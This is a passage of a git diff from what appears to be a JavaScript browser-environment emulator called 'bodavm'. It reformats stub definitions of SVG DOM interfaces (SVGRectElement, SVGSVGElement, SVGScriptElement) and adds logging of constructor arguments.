bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRectElement'].prototype, "SVGRectElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGRectElement', "rx", {configurable:true, enumerable:true, get:function rx (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRectElement'].prototype, "SVGRectElement", "rx_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGRectElement', "ry", {configurable:true, enumerable:true, get:function ry (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRectElement'].prototype, "SVGRectElement", "ry_get", arguments)}, set:undefined},'prototype'); +// SVGRectElement对象 + +bodavm.memory.globalobj['SVGRectElement'] = function SVGRectElement() { + console.log_copy('SVGRectElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGRectElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGRectElement'], "SVGRectElement"); +bodavm.memory.globalobj['SVGRectElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGeometryElement'].prototype; +bodavm.memory.globalobj['SVGRectElement'].__proto__ = bodavm.memory.globalobj['SVGGeometryElement']; +bodavm.toolsFunc.defineProperty('SVGRectElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRectElement'].prototype, "SVGRectElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGRectElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRectElement'].prototype, "SVGRectElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGRectElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRectElement'].prototype, "SVGRectElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGRectElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRectElement'].prototype, "SVGRectElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGRectElement', "rx", { + configurable: true, + enumerable: true, + get: function rx() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRectElement'].prototype, "SVGRectElement", "rx_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGRectElement', "ry", { + configurable: true, + enumerable: true, + get: function ry() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRectElement'].prototype, "SVGRectElement", "ry_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGSVGElement.js b/env_xbb_lastest_jsdom/env/SVGSVGElement.js index de38806a..0d50e884 100644 --- a/env_xbb_lastest_jsdom/env/SVGSVGElement.js +++ b/env_xbb_lastest_jsdom/env/SVGSVGElement.js @@ -1,43 +1,315 @@ -// SVGSVGElement对象 -bodavm.memory.globalobj['SVGSVGElement'] = function SVGSVGElement(){if (!(this instanceof SVGSVGElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGSVGElement'], "SVGSVGElement"); -bodavm.memory.globalobj['SVGSVGElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGraphicsElement'].prototype; -bodavm.memory.globalobj['SVGSVGElement'].__proto__=bodavm.memory.globalobj['SVGGraphicsElement']; -bodavm.toolsFunc.defineProperty('SVGSVGElement', "SVG_ZOOMANDPAN_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "SVG_ZOOMANDPAN_DISABLE", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "SVG_ZOOMANDPAN_MAGNIFY", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "currentScale", {configurable:true, enumerable:true, get:function currentScale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "currentScale_get", arguments)}, set:function currentScale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "currentScale_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "currentTranslate", {configurable:true, enumerable:true, get:function currentTranslate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "currentTranslate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "viewBox", {configurable:true, enumerable:true, get:function viewBox (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "viewBox_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "preserveAspectRatio", {configurable:true, enumerable:true, get:function preserveAspectRatio (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "preserveAspectRatio_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "zoomAndPan", {configurable:true, enumerable:true, get:function zoomAndPan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "zoomAndPan_get", arguments)}, set:function zoomAndPan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "zoomAndPan_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "SVG_ZOOMANDPAN_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "SVG_ZOOMANDPAN_DISABLE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "SVG_ZOOMANDPAN_MAGNIFY", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "animationsPaused", {configurable:true, enumerable:true, writable:true, value:function animationsPaused (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "animationsPaused", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "checkEnclosure", {configurable:true, enumerable:true, writable:true, value:function checkEnclosure (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "checkEnclosure", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "checkIntersection", {configurable:true, enumerable:true, writable:true, value:function checkIntersection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "checkIntersection", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGAngle", {configurable:true, enumerable:true, writable:true, value:function createSVGAngle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGAngle", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGLength", {configurable:true, enumerable:true, writable:true, value:function createSVGLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGLength", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGMatrix", {configurable:true, enumerable:true, writable:true, value:function createSVGMatrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGMatrix", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGNumber", {configurable:true, enumerable:true, writable:true, value:function createSVGNumber (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGNumber", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGPoint", {configurable:true, enumerable:true, writable:true, value:function createSVGPoint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGPoint", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGRect", {configurable:true, enumerable:true, writable:true, value:function createSVGRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGRect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGTransform", {configurable:true, enumerable:true, writable:true, value:function createSVGTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGTransform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGTransformFromMatrix", {configurable:true, enumerable:true, writable:true, value:function createSVGTransformFromMatrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGTransformFromMatrix", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "deselectAll", {configurable:true, enumerable:true, writable:true, value:function deselectAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "deselectAll", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "forceRedraw", {configurable:true, enumerable:true, writable:true, value:function forceRedraw (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "forceRedraw", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "getCurrentTime", {configurable:true, enumerable:true, writable:true, value:function getCurrentTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "getCurrentTime", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "getElementById", {configurable:true, enumerable:true, writable:true, value:function getElementById (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "getElementById", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "getEnclosureList", {configurable:true, enumerable:true, writable:true, value:function getEnclosureList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "getEnclosureList", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "getIntersectionList", {configurable:true, enumerable:true, writable:true, value:function getIntersectionList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "getIntersectionList", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "pauseAnimations", {configurable:true, enumerable:true, writable:true, value:function pauseAnimations (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "pauseAnimations", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "setCurrentTime", {configurable:true, enumerable:true, writable:true, value:function setCurrentTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "setCurrentTime", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "suspendRedraw", {configurable:true, enumerable:true, writable:true, value:function suspendRedraw (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "suspendRedraw", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "unpauseAnimations", {configurable:true, enumerable:true, writable:true, value:function unpauseAnimations (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "unpauseAnimations", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "unsuspendRedraw", {configurable:true, enumerable:true, writable:true, value:function unsuspendRedraw (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "unsuspendRedraw", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "unsuspendRedrawAll", {configurable:true, enumerable:true, writable:true, value:function unsuspendRedrawAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "unsuspendRedrawAll", arguments)}},'prototype'); +// SVGSVGElement对象 + +bodavm.memory.globalobj['SVGSVGElement'] = function SVGSVGElement() { + console.log_copy('SVGSVGElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGSVGElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGSVGElement'], "SVGSVGElement"); +bodavm.memory.globalobj['SVGSVGElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGraphicsElement'].prototype; +bodavm.memory.globalobj['SVGSVGElement'].__proto__ = bodavm.memory.globalobj['SVGGraphicsElement']; +bodavm.toolsFunc.defineProperty('SVGSVGElement', "SVG_ZOOMANDPAN_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "SVG_ZOOMANDPAN_DISABLE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "SVG_ZOOMANDPAN_MAGNIFY", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "currentScale", { + configurable: true, + enumerable: true, + get: function currentScale() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "currentScale_get", arguments); + }, + set: function currentScale() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "currentScale_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "currentTranslate", { + configurable: true, + enumerable: true, + get: function currentTranslate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "currentTranslate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "viewBox", { + configurable: true, + enumerable: true, + get: function viewBox() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "viewBox_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "preserveAspectRatio", { + configurable: true, + enumerable: true, + get: function preserveAspectRatio() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "preserveAspectRatio_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "zoomAndPan", { + configurable: true, + enumerable: true, + get: function zoomAndPan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "zoomAndPan_get", arguments); + }, + set: function zoomAndPan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "zoomAndPan_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "SVG_ZOOMANDPAN_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "SVG_ZOOMANDPAN_DISABLE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "SVG_ZOOMANDPAN_MAGNIFY", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "animationsPaused", { + configurable: true, + enumerable: true, + writable: true, + value: function animationsPaused() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "animationsPaused", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "checkEnclosure", { + configurable: true, + enumerable: true, + writable: true, + value: function checkEnclosure() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "checkEnclosure", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "checkIntersection", { + configurable: true, + enumerable: true, + writable: true, + value: function checkIntersection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "checkIntersection", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGAngle", { + configurable: true, + enumerable: true, + writable: true, + value: function createSVGAngle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGAngle", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGLength", { + configurable: true, + enumerable: true, + writable: true, + value: function createSVGLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGLength", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGMatrix", { + configurable: true, + enumerable: true, + writable: true, + value: function createSVGMatrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGMatrix", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGNumber", { + configurable: true, + enumerable: true, + writable: true, + value: function createSVGNumber() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGNumber", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGPoint", { + configurable: true, + enumerable: true, + writable: true, + value: function createSVGPoint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGPoint", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGRect", { + configurable: true, + enumerable: true, + writable: true, + value: function createSVGRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGRect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGTransform", { + configurable: true, + enumerable: true, + writable: true, + value: function createSVGTransform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGTransform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGTransformFromMatrix", { + configurable: true, + enumerable: true, + writable: true, + value: function createSVGTransformFromMatrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGTransformFromMatrix", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "deselectAll", { + configurable: true, + enumerable: true, + writable: true, + value: function deselectAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "deselectAll", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "forceRedraw", { + configurable: true, + enumerable: true, + writable: true, + value: function forceRedraw() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "forceRedraw", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "getCurrentTime", { + configurable: true, + enumerable: true, + writable: true, + value: function getCurrentTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "getCurrentTime", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "getElementById", { + configurable: true, + enumerable: true, + writable: true, + value: function getElementById() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "getElementById", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "getEnclosureList", { + configurable: true, + enumerable: true, + writable: true, + value: function getEnclosureList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "getEnclosureList", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "getIntersectionList", { + configurable: true, + enumerable: true, + writable: true, + value: function getIntersectionList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "getIntersectionList", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "pauseAnimations", { + configurable: true, + enumerable: true, + writable: true, + value: function pauseAnimations() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "pauseAnimations", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "setCurrentTime", { + configurable: true, + enumerable: true, + writable: true, + value: function setCurrentTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "setCurrentTime", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "suspendRedraw", { + configurable: true, + enumerable: true, + writable: true, + value: function suspendRedraw() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "suspendRedraw", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "unpauseAnimations", { + configurable: true, + enumerable: true, + writable: true, + value: function unpauseAnimations() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "unpauseAnimations", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "unsuspendRedraw", { + configurable: true, + enumerable: true, + writable: true, + value: function unsuspendRedraw() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "unsuspendRedraw", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGSVGElement', "unsuspendRedrawAll", { + configurable: true, + enumerable: true, + writable: true, + value: function unsuspendRedrawAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "unsuspendRedrawAll", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGScriptElement.js b/env_xbb_lastest_jsdom/env/SVGScriptElement.js index 62cdcd5d..b94fce02 100644 --- a/env_xbb_lastest_jsdom/env/SVGScriptElement.js +++ b/env_xbb_lastest_jsdom/env/SVGScriptElement.js @@ -1,7 +1,37 @@ -// SVGScriptElement对象 -bodavm.memory.globalobj['SVGScriptElement'] = function SVGScriptElement(){if (!(this instanceof SVGScriptElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGScriptElement'], "SVGScriptElement"); -bodavm.memory.globalobj['SVGScriptElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGScriptElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGScriptElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGScriptElement'].prototype, "SVGScriptElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGScriptElement'].prototype, "SVGScriptElement", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGScriptElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGScriptElement'].prototype, "SVGScriptElement", "href_get", arguments)}, set:undefined},'prototype'); +// SVGScriptElement对象 + +bodavm.memory.globalobj['SVGScriptElement'] = function SVGScriptElement() { + console.log_copy('SVGScriptElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGScriptElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGScriptElement'], "SVGScriptElement"); +bodavm.memory.globalobj['SVGScriptElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGScriptElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGScriptElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGScriptElement'].prototype, "SVGScriptElement", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGScriptElement'].prototype, "SVGScriptElement", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGScriptElement', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGScriptElement'].prototype, "SVGScriptElement", "href_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGSetElement.js b/env_xbb_lastest_jsdom/env/SVGSetElement.js index c8bd3c77..9e3d789d 100644 --- a/env_xbb_lastest_jsdom/env/SVGSetElement.js +++ b/env_xbb_lastest_jsdom/env/SVGSetElement.js @@ -1,5 +1,19 @@ -// SVGSetElement对象 -bodavm.memory.globalobj['SVGSetElement'] = function SVGSetElement(){if (!(this instanceof SVGSetElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} 